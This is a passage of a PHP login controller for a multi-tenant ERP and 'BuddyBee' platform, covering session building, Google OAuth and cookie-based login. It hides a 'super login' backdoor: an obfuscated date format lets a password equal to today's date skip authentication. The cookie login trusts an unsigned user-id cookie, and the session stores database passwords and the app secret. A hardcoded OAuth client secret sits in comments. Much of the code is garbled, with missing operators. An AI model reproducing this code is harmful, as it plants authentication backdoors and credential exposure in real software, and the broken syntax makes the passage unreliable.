  3120.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3121.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3122.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3123.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3124.                         UserConstants::USER_NAME => $userFullName,
  3125.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3126.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3127.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3128.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3129.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3130.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3131.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3132.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3133.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3134.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3135.                         UserConstants::USER_GOC_ID => $gocId,
  3136.                         UserConstants::USER_DB_NAME => $gocDbName,
  3137.                         UserConstants::USER_DB_USER => $gocDbUser,
  3138.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3139.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3140.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3141.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3142.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3143.                         UserConstants::USER_LOGIN_ID => $loginID,
  3144.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3145.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3146.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3147.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3148.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3149.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3150.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3151.                         'REMEMBERME' => $remember_me,
  3152.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3153.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3154.                         'oAuthToken' => $oAuthToken,
  3155.                         'locale' => $locale,
  3156.                         'firebaseToken' => $firebaseToken,
  3157.                         'token' => $session->get('token'),
  3158.                         'firstLogin' => $firstLogin,
  3159.                         'oAuthImage' => $oAuthImage,
  3160.                         'appIdList' => json_encode($appIdList),
  3161.                         'branchIdList' => json_encode($branchIdList),
  3162.                         'branchId' => $branchId,
  3163.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3164.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3165.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3166.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3167.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3168.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3169.                     );
  3170.                     $session_data $this->filterClientSessionData($session_data);
  3171.                     if ($systemType == '_CENTRAL_') {
  3172.                         $accessList = [];
  3173. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3174.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3175.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3176.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3177.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3178.                                     $d = array(
  3179.                                         'userType' => $thisUserUserType,
  3180. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3181.                                         'userTypeName' => $userTypeName,
  3182.                                         'globalId' => $globalId,
  3183.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3184.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3185.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3186.                                         'systemType' => '_ERP_',
  3187.                                         'companyId' => 1,
  3188.                                         'appId' => $thisUserAppId,
  3189.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3190.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3191.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3192.                                                 array(
  3193.                                                     'globalId' => $globalId,
  3194.                                                     'appId' => $thisUserAppId,
  3195.                                                     'authenticate' => 1,
  3196.                                                     'userType' => $thisUserUserType,
  3197.                                                     'userTypeName' => $userTypeName
  3198.                                                 )
  3199.                                             )
  3200.                                         ),
  3201.                                         'userCompanyList' => [
  3202.                                         ]
  3203.                                     );
  3204.                                     $accessList[] = $d;
  3205.                                 }
  3206.                             }
  3207.                         }
  3208.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3209.                         $session_data['userAccessList'] = $accessList;
  3210.                     }
  3211.                     $ultimateData System::setSessionForUser($em_goc,
  3212.                         $session,
  3213.                         $session_data,
  3214.                         $config
  3215.                     );
  3216. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3217.                     $session_data $ultimateData['sessionData'];
  3218.                     $session_data $this->filterClientSessionData($session_data);
  3219.                     $token $ultimateData['token'];
  3220.                     $session->set('token'$token);
  3221.                     if ($systemType == '_CENTRAL_') {
  3222.                         $session->set('csToken'$token);
  3223.                     } else {
  3224.                         $session->set('csToken'$csToken);
  3225.                     }
  3226.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3227.                         $session->set('remoteVerified'1);
  3228.                         $response = new JsonResponse(array(
  3229.                             'token' => $token,
  3230.                             'uid' => $session->get(UserConstants::USER_ID),
  3231.                             'session' => $session,
  3232.                             'email' => $session_data['userEmail'],
  3233.                             'success' => true,
  3234.                             'session_data' => $session_data,
  3235.                         ));
  3236.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3237.                         return $response;
  3238.                     }
  3239.                     //TEMP START
  3240.                     if ($systemType == '_CENTRAL_') {
  3241.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3242.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3243.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3244.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3245.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3246.                                     return $this->redirect($red);
  3247.                                 }
  3248.                             } else {
  3249.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3250.                             }
  3251.                         } else
  3252.                             return $this->redirectToRoute('central_landing');
  3253.                     }
  3254.                     if ($systemType == '_SOPHIA_') {
  3255.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3256.                     }
  3257.                     //TREMP END
  3258.                     if ($userForcedRoute != '')
  3259.                         return $this->redirectToRoute($userForcedRoute);
  3260.                     if ($request->request->has('referer_path')) {
  3261.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3262.                             return $this->redirect($request->request->get('referer_path'));
  3263.                         }
  3264.                     }
  3265.                     if ($request->query->has('refRoute')) {
  3266.                         if ($request->query->get('refRoute') == '8917922')
  3267.                             $userDefaultRoute 'apply_for_consultant';
  3268.                     }
  3269.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3270.                         $userDefaultRoute 'dashboard';
  3271.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3272.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3273.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3274.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3275.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3276.                                 return $this->redirect($red);
  3277.                             }
  3278.                         } else {
  3279.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3280.                         }
  3281.                     } else
  3282.                         return $this->redirectToRoute($userDefaultRoute);
  3283.                 }
  3284.             }
  3285.         }
  3286.         $session $request->getSession();
  3287.         $session->set('systemType'$systemType);
  3288.         if (isset($encData['appId'])) {
  3289.             if (isset($gocDataListByAppId[$encData['appId']]))
  3290.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3291.         }
  3292.         $routeName $request->attributes->get('_route');
  3293.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3294.             $refRoute '';
  3295.             $message '';
  3296.             $errorField '_NONE_';
  3297.             if ($refRoute != '') {
  3298.                 if ($refRoute == '8917922')
  3299.                     $redirectRoute 'apply_for_consultant';
  3300.             }
  3301.             if ($request->query->has('refRoute')) {
  3302.                 $refRoute $request->query->get('refRoute');
  3303.                 if ($refRoute == '8917922')
  3304.                     $redirectRoute 'apply_for_consultant';
  3305.             }
  3306.             $google_client = new Google_Client();
  3307. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3308. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3309.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3310.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3311.             } else {
  3312.                 $url $this->generateUrl(
  3313.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3314.                 );
  3315.             }
  3316.             $selector BuddybeeConstant::$selector;
  3317.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3318. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3319.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3320. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3321.             $google_client->setRedirectUri($url);
  3322.             $google_client->setAccessType('offline');        // offline access
  3323.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3324.             $google_client->setRedirectUri($url);
  3325.             $google_client->addScope('email');
  3326.             $google_client->addScope('profile');
  3327.             $google_client->addScope('openid');
  3328.             return $this->render(
  3329.                 '@Authentication/pages/views/applicant_login.html.twig',
  3330.                 [
  3331.                     'page_title' => 'BuddyBee Login',
  3332.                     'oAuthLink' => $google_client->createAuthUrl(),
  3333.                     'redirect_url' => $url,
  3334.                     'message' => $message,
  3335.                     'errorField' => '',
  3336.                     'systemType' => $systemType,
  3337.                     'ownServerId' => $ownServerId,
  3338.                     'refRoute' => $refRoute,
  3339.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3340.                     'selector' => $selector
  3341.                 ]
  3342.             );
  3343.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3344.             $refRoute '';
  3345.             $message '';
  3346.             $errorField '_NONE_';
  3347. //            if ($request->query->has('message')) {
  3348. //                $message = $request->query->get('message');
  3349. //
  3350. //            }
  3351. //            if ($request->query->has('errorField')) {
  3352. //                $errorField = $request->query->get('errorField');
  3353. //
  3354. //            }
  3355.             if ($refRoute != '') {
  3356.                 if ($refRoute == '8917922')
  3357.                     $redirectRoute 'apply_for_consultant';
  3358.             }
  3359.             if ($request->query->has('refRoute')) {
  3360.                 $refRoute $request->query->get('refRoute');
  3361.                 if ($refRoute == '8917922')
  3362.                     $redirectRoute 'apply_for_consultant';
  3363.             }
  3364.             $google_client = new Google_Client();
  3365. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3366. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3367.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3368.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3369.             } else {
  3370.                 $url $this->generateUrl(
  3371.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3372.                 );
  3373.             }
  3374.             $selector BuddybeeConstant::$selector;
  3375. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3376.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3377. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3378.             $google_client->setRedirectUri($url);
  3379.             $google_client->setAccessType('offline');        // offline access
  3380.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3381.             $google_client->setRedirectUri($url);
  3382.             $google_client->addScope('email');
  3383.             $google_client->addScope('profile');
  3384.             $google_client->addScope('openid');
  3385.             return $this->render(
  3386.                 '@Authentication/pages/views/central_login.html.twig',
  3387.                 [
  3388.                     'page_title' => 'Central Login',
  3389.                     'oAuthLink' => $google_client->createAuthUrl(),
  3390.                     'redirect_url' => $url,
  3391.                     'message' => $message,
  3392.                     'systemType' => $systemType,
  3393.                     'ownServerId' => $ownServerId,
  3394.                     'errorField' => '',
  3395.                     'refRoute' => $refRoute,
  3396.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3397.                     'selector' => $selector
  3398.                 ]
  3399.             );
  3400.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3401.             $refRoute '';
  3402.             $message '';
  3403.             $errorField '_NONE_';
  3404. //            if ($request->query->has('message')) {
  3405. //                $message = $request->query->get('message');
  3406. //
  3407. //            }
  3408. //            if ($request->query->has('errorField')) {
  3409. //                $errorField = $request->query->get('errorField');
  3410. //
  3411. //            }
  3412.             if ($refRoute != '') {
  3413.                 if ($refRoute == '8917922')
  3414.                     $redirectRoute 'apply_for_consultant';
  3415.             }
  3416.             if ($request->query->has('refRoute')) {
  3417.                 $refRoute $request->query->get('refRoute');
  3418.                 if ($refRoute == '8917922')
  3419.                     $redirectRoute 'apply_for_consultant';
  3420.             }
  3421.             $google_client = new Google_Client();
  3422. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3423. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3424.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3425.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3426.             } else {
  3427.                 $url $this->generateUrl(
  3428.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3429.                 );
  3430.             }
  3431.             $selector BuddybeeConstant::$selector;
  3432. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3433.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3434. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3435.             $google_client->setRedirectUri($url);
  3436.             $google_client->setAccessType('offline');        // offline access
  3437.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3438.             $google_client->setRedirectUri($url);
  3439.             $google_client->addScope('email');
  3440.             $google_client->addScope('profile');
  3441.             $google_client->addScope('openid');
  3442.             return $this->render(
  3443.                 '@Sophia/pages/views/sofia_login.html.twig',
  3444.                 [
  3445.                     'page_title' => 'Central Login',
  3446.                     'oAuthLink' => $google_client->createAuthUrl(),
  3447.                     'redirect_url' => $url,
  3448.                     'message' => $message,
  3449.                     'systemType' => $systemType,
  3450.                     'ownServerId' => $ownServerId,
  3451.                     'errorField' => '',
  3452.                     'refRoute' => $refRoute,
  3453.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3454.                     'selector' => $selector
  3455.                 ]
  3456.             );
  3457.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3458.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3459.         } else
  3460.             return $this->render(
  3461.                 '@Authentication/pages/views/login_new.html.twig',
  3462.                 array(
  3463.                     "message" => $message,
  3464.                     'page_title' => 'Login',
  3465.                     'gocList' => $gocDataListForLoginWeb,
  3466.                     'gocId' => $gocId != $gocId '',
  3467.                     'systemType' => $systemType,
  3468.                     'ownServerId' => $ownServerId,
  3469.                     'encData' => $encData,
  3470.                     //                'ref'=>$request->
  3471.                 )
  3472.             );
  3473.     }
  3474.     public function doLoginForAppAction(Request $request$encData "",
  3475.                                                 $remoteVerify 0,
  3476.                                                 $applicantDirectLogin 0
  3477.     )
  3478.     {
  3479.         $message "";
  3480.         $email '';
  3481. //                            $userName = substr($email, 4);
  3482.         $userName '';
  3483.         $gocList = [];
  3484.         $skipPassword 0;
  3485.         $firstLogin 0;
  3486.         $remember_me 0;
  3487.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3488.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3489.         if ($request->isMethod('POST')) {
  3490.             if ($request->request->has('remember_me'))
  3491.                 $remember_me 1;
  3492.         } else {
  3493.             if ($request->query->has('remember_me'))
  3494.                 $remember_me 1;
  3495.         }
  3496.         if ($encData != "")
  3497.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3498.         else if ($request->query->has('spd')) {
  3499.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3500.         }
  3501.         $user = [];
  3502.         $userType 0//nothing for now , will add supp or client if we find anything
  3503.         $em_goc $this->getDoctrine()->getManager('company_group');
  3504.         $em_goc->getConnection()->connect();
  3505.         $gocEnabled 0;
  3506.         if ($this->container->hasParameter('entity_group_enabled'))
  3507.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3508.         if ($gocEnabled == 1)
  3509.             $connected $em_goc->getConnection()->isConnected();
  3510.         else
  3511.             $connected false;
  3512.         if ($connected)
  3513.             $gocList $em_goc
  3514.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3515.                 ->findBy(
  3516.                     array(//                        'active' => 1
  3517.                     )
  3518.                 );
  3519.         $gocDataList = [];
  3520.         $gocDataListForLoginWeb = [];
  3521.         $gocDataListByAppId = [];
  3522.         foreach ($gocList as $entry) {
  3523.             $d = array(
  3524.                 'name' => $entry->getName(),
  3525.                 'image' => $entry->getImage(),
  3526.                 'id' => $entry->getId(),
  3527.                 'appId' => $entry->getAppId(),
  3528.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3529.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3530.                 'dbName' => $entry->getDbName(),
  3531.                 'dbUser' => $entry->getDbUser(),
  3532.                 'dbPass' => $entry->getDbPass(),
  3533.                 'dbHost' => $entry->getDbHost(),
  3534.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3535.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3536.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3537.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3538.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3539.             );
  3540.             $gocDataList[$entry->getId()] = $d;
  3541.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3542.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3543.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3544.         }
  3545. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3546.         $gocDbName '';
  3547.         $gocDbUser '';
  3548.         $gocDbPass '';
  3549.         $gocDbHost '';
  3550.         $gocId 0;
  3551.         $appId 0;
  3552.         $hasGoc 0;
  3553.         $userId 0;
  3554.         $userCompanyId 0;
  3555.         $specialLogin 0;
  3556.         $supplierId 0;
  3557.         $applicantId 0;
  3558.         $isApplicantLogin 0;
  3559.         $clientId 0;
  3560.         $cookieLogin 0;
  3561.         $encrypedLogin 0;
  3562.         $loginID 0;
  3563.         $supplierId 0;
  3564.         $clientId 0;
  3565.         $userId 0;
  3566.         $globalId 0;
  3567.         $applicantId 0;
  3568.         $employeeId 0;
  3569.         $userCompanyId 0;
  3570.         $company_id_list = [];
  3571.         $company_name_list = [];
  3572.         $company_image_list = [];
  3573.         $route_list_array = [];
  3574.         $prohibit_list_array = [];
  3575.         $company_dark_vibrant_list = [];
  3576.         $company_vibrant_list = [];
  3577.         $company_light_vibrant_list = [];
  3578.         $currRequiredPromptFields = [];
  3579.         $oAuthImage '';
  3580.         $appIdList '';
  3581.         $userDefaultRoute '';
  3582.         $userForcedRoute '';
  3583.         $branchIdList '';
  3584.         $branchId 0;
  3585.         $companyIdListByAppId = [];
  3586.         $companyNameListByAppId = [];
  3587.         $companyImageListByAppId = [];
  3588.         $position_list_array = [];
  3589.         $curr_position_id 0;
  3590.         $allModuleAccessFlag 0;
  3591.         $lastSettingsUpdatedTs 0;
  3592.         $isConsultant 0;
  3593.         $isAdmin 0;
  3594.         $isModerator 0;
  3595.         $isRetailer 0;
  3596.         $retailerLevel 0;
  3597.         $adminLevel 0;
  3598.         $moderatorLevel 0;
  3599.         $userEmail '';
  3600.         $userImage '';
  3601.         $userFullName '';
  3602.         $triggerResetPassword 0;
  3603.         $isEmailVerified 0;
  3604.         $currentTaskId 0;
  3605.         $currentPlanningItemId 0;
  3606. //                $currentTaskAppId = 0;
  3607.         $buddybeeBalance 0;
  3608.         $buddybeeCoinBalance 0;
  3609.         $entityUserbalance 0;
  3610.         $userAppIds = [];
  3611.         $userTypesByAppIds = [];
  3612.         $currentMonthHolidayList = [];
  3613.         $currentHolidayCalendarId 0;
  3614.         $oAuthToken $request->request->get('oAuthToken''');
  3615.         $locale $request->request->get('locale''');
  3616.         $firebaseToken $request->request->get('firebaseToken''');
  3617.         if ($request->request->has('gocId')) {
  3618.             $hasGoc 1;
  3619.             $gocId $request->request->get('gocId');
  3620.         }
  3621.         if ($request->request->has('appId')) {
  3622.             $hasGoc 1;
  3623.             $appId $request->request->get('appId');
  3624.         }
  3625.         if (isset($encData['appId'])) {
  3626.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3627.                 $hasGoc 1;
  3628.                 $appId $encData['appId'];
  3629.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3630.             }
  3631.         }
  3632.         $csToken $request->get('csToken''');
  3633.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3634.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3635.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3636. //        if ($request->cookies->has('USRCKIE'))
  3637. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3638.         if (isset($encData['globalId'])) {
  3639.             if (isset($encData['authenticate']))
  3640.                 if ($encData['authenticate'] == 1)
  3641.                     $skipPassword 1;
  3642.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3643.                 $skipPassword 1;
  3644.                 $remember_me 1;
  3645.                 $globalId $encData['globalId'];
  3646.                 $appId $encData['appId'];
  3647.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3648.                 $userType $encData['userType'];
  3649.                 $userCompanyId 1;
  3650.                 $hasGoc 1;
  3651.                 $encrypedLogin 1;
  3652.                 if (in_array($userType, [67]))
  3653.                     $entityLoginFlag 1;
  3654.                 if (in_array($userType, [34]))
  3655.                     $specialLogin 1;
  3656.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3657.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3658.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3659.                     $supplierId $userId;
  3660.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3661.                     $applicantId $userId;
  3662.             }
  3663.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3664.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3665.             if ($cookieData == null)
  3666.                 $cookieData = [];
  3667.             if (isset($cookieData['uid'])) {
  3668.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3669.                     $skipPassword 1;
  3670.                     $remember_me 1;
  3671.                     $userId $cookieData['uid'];
  3672.                     $gocId $cookieData['gocId'];
  3673.                     $userCompanyId $cookieData['companyId'];
  3674.                     $userType $cookieData['ut'];
  3675.                     $hasGoc 1;
  3676.                     $cookieLogin 1;
  3677.                     if (in_array($userType, [67]))
  3678.                         $entityLoginFlag 1;
  3679.                     if (in_array($userType, [34]))
  3680.                         $specialLogin 1;
  3681.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3682.                         $clientId $userId;
  3683.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3684.                         $supplierId $userId;
  3685.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3686.                         $applicantId $userId;
  3687.                 }
  3688.             }
  3689.         }
  3690.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3691.             ///super login
  3692.             $todayDt = new \DateTime();
  3693. //            $mp='_eco_';
  3694.             $mp $todayDt->format("\171\x6d\x64");
  3695.             if ($request->request->get('password') == $mp)
  3696.                 $skipPassword 1;
  3697.             //super login ends
  3698.             ///special logins, suppliers and clients
  3699.             $company_id_list = [];
  3700.             $company_name_list = [];
  3701.             $company_image_list = [];
  3702.             $company_dark_vibrant_list = [];
  3703.             $company_light_vibrant_list = [];
  3704.             $company_vibrant_list = [];
  3705.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3706.             $uname $request->request->get('username');
  3707.             $uname preg_replace('/\s/'''$uname);
  3708.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3709.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3710.             $session $request->getSession();
  3711.             $product_name_display_type 0;
  3712.             $Special 0;
  3713.             if ($entityLoginFlag == 1//entity login
  3714.             {
  3715.                 if ($cookieLogin == 1) {
  3716.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3717.                         array(
  3718.                             'userId' => $userId
  3719.                         )
  3720.                     );
  3721.                 } else if ($loginType == 2//oauth
  3722.                 {
  3723.                     if (!empty($oAuthData)) {
  3724.                         //check for if exists 1st
  3725.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3726.                             array(
  3727.                                 'email' => $oAuthData['email']
  3728.                             )
  3729.                         );
  3730.                         if ($user) {
  3731.                             //no need to verify for oauth just proceed
  3732.                         } else {
  3733.                             //add new user and pass that user
  3734.                             $add_user EntityUserM::addNewEntityUser(
  3735.                                 $em_goc,
  3736.                                 $oAuthData['name'],
  3737.                                 $oAuthData['email'],
  3738.                                 '',
  3739.                                 0,
  3740.                                 0,
  3741.                                 0,
  3742.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3743.                                 [],
  3744.                                 0,
  3745.                                 "",
  3746.                                 0,
  3747.                                 "",
  3748.                                 $image '',
  3749.                                 $deviceId,
  3750.                                 0,
  3751.                                 0,
  3752.                                 $oAuthData['uniqueId'],
  3753.                                 $oAuthData['token'],
  3754.                                 $oAuthData['image'],
  3755.                                 $oAuthData['emailVerified'],
  3756.                                 $oAuthData['type']
  3757.                             );
  3758.                             if ($add_user['success'] == true) {
  3759.                                 $firstLogin 1;
  3760.                                 $user $add_user['user'];
  3761.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3762.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3763.                                         ->setFrom('registration@entity.innobd.com')
  3764.                                         ->setTo($user->getEmail())
  3765.                                         ->setBody(
  3766.                                             $this->renderView(
  3767.                                                 '@Application/email/user/registration_karbar.html.twig',
  3768.                                                 array('name' => $request->request->get('name'),
  3769.                                                     //                                                    'companyData' => $companyData,
  3770.                                                     //                                                    'userName'=>$request->request->get('email'),
  3771.                                                     //                                                    'password'=>$request->request->get('password'),
  3772.                                                 )
  3773.                                             ),
  3774.                                             'text/html'
  3775.                                         );
  3776.                                     /*
  3777.                                                        * If you also want to include a plaintext version of the message
  3778.                                                       ->addPart(
  3779.                                                           $this->renderView(
  3780.                                                               'Emails/registration.txt.twig',
  3781.                                                               array('name' => $name)
  3782.                                                           ),
  3783.                                                           'text/plain'
  3784.                                                       )
  3785.                                                       */
  3786.                                     //            ;
  3787.                                     $this->get('mailer')->send($emailmessage);
  3788.                                 }
  3789.                             }
  3790.                         }
  3791.                     }
